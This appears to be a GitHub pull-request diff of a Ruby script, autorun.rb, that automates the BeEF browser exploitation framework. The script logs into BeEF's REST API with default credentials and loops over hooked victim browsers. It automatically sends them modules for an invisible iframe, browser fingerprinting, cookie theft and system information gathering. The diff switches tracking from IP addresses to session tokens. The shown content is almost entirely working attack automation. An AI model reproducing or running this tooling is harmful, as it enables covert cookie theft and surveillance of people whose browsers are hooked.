Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 10 additions & 17 deletions autorun.rb
Original file line number Diff line number Diff line change
Expand Up @@ -33,13 +33,10 @@
BEEF_PASSWD = "beef"

@autorun_mods = [
{ 'Invisible_iframe' => {'target' => 'http://192.168.50.52/' }},
{ 'Invisible_iframe' => {'target' => 'http://192.168.50.52/' }},
{ 'Browser_fingerprinting' => {}},
{ 'Get_cookie' => {}},
{ 'Get_system_info' => {}}

]
@ses_cache = {}
{ 'Get_system_info' => {}}]

def login
response = RestClient.post "#{RESTAPI_ADMIN}/login",
Expand All @@ -54,11 +51,6 @@ def get_alive
response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @token}}
result = JSON.parse(response.body)
@hooks = result["hooked-browsers"]["online"]
@alive_ips = []
@hooks.each do |hook|
@alive_ips << hook[1]['ip']
@ses_cache[hook[1]['ip']] = hook[1]['session']
end
end

def get_mod_cache
Expand All @@ -85,21 +77,22 @@ def send_mod(mod, ses,opts)

login
get_mod_cache
processed_ips = []
processed_sessions = []
while true do
get_alive
@alive_ips.each do |ip|
next if processed_ips.include? ip
print "[*] Running autorun mods against #{ip}\n"
@hooks.each do |hook|
ip = hook[1]['ip']
session = hook[1]['session']
next if processed_sessions.include? session
print "[*] Running autorun mods against #{ip}:#{session}\n"
@autorun_mods.each do |modinfo|
modinfo.each do |mod,opts|
mid = @mod_cache[mod][:id]
ses = @ses_cache[ip]
res = send_mod(mid,ses,opts)
res = send_mod(mid,session,opts)
print res.to_json + "\n"
end
end
processed_ips << ip
processed_sessions << session
end
sleep 5

Expand Down